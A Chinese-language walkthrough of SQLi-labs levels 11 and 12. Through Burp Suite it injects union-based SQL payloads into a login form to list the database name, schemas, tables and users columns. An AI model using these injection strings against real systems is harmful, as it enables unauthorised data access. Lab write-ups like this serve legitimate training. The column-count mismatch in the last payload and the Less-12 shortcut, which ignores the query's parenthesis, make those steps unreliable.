Less-11
查找原SQL语句:$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"
这一题我们需要使用burp suite。
首先我们在username和password中随便输入一串数字或字母,如图所示:
然后打开抓包,点击确认,进入repeater中对数据进行改写。
对数据库进行查找:把“uname=1111”改为“uname=1111' union select 1,database() --+”,如图所示:
可以知晓库名为:security
显示全部的数据库:把“uname=1111”
改为“uname=1111' union select 1,group_concat(schema_name) from information_schema.schemata --+”
如图所示:
显示当前数据库中所有的数据表:把“uname=1111”
改为“uname=1111' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+”
如图所示:
显示users中的字段:把“uname=1111”
改为“uname=1111' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema='security' --+”
如图所示:
Less-12
查找原SQL语句:$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"
与Less-11的语句对比可以知晓只需把uname=1111'改为uname=1111即可